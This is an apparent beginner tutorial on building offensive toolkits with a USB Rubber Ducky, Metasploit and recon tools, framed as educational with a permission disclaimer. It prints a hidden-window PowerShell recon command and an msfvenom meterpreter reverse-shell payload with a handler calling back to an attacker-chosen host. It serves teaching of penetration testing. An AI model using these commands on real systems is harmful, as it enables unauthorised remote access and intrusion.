Payloads & Recon Tools: A Beginner’s Guide to Offensive Toolkit Building

🚨 Disclaimer: This guide is for educational and ethical hacking purposes only. Never deploy payloads or scanning tools without explicit permission.

🧨 What Are Payloads & Recon Tools?

Payloads: Scripts or actions delivered to automate interaction or attack.
Recon Tools: Programs used to gather intel about systems and networks.

🛠️ Hardware You Need

• Rubber Ducky (or BadUSB clone)
• ESP32-S2/S3 or Digispark (optional)
• Computer (Windows/Linux/macOS)

📄 Writing Ducky Script Payloads

Example payload to open Notepad and type:

DELAY 500
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 500
STRING You got ducked!
ENTER

💡 Use DuckEncoder to convert scripts into .bin files.

🔍 Internal Recon from a USB Device

Example for Windows recon drop:

Start-Process powershell -ArgumentList "-NoP -W Hidden -Command \"ipconfig > C:\\recon.txt; netstat -an >> C:\\recon.txt; whoami >> C:\\recon.txt\""

Modify for Linux/macOS (use ifconfig, nmap, uname).

📦 Linux Post-Exploitation Toolkit

• Metasploit: Payload generation & handlers
• Empire: Lateral movement & persistence
• CrackMapExec: SMB/RDP/SSH enumeration
• LinPEAS / WinPEAS: Privilege escalation audits

Example reverse shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > payload.exe

Handler setup:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
run

🧠 Ethical Recon Tools

• Nmap: Port scans, OS detect
• Netcat: Listeners, reverse shells
• Enum4linux: SMB enumeration
• Amass: Subdomain discovery

Example internal scan:

nmap -sP 192.168.0.0/24

🔐 Precautions and Safety

• Never target production systems without permission
• Encrypt any exfiltrated data
• Document everything you do

🧠 Final Thoughts

Payload building and recon aren’t just red-team tricks — defenders must know them too.
Hack smarter. Test responsibly. Build defensively.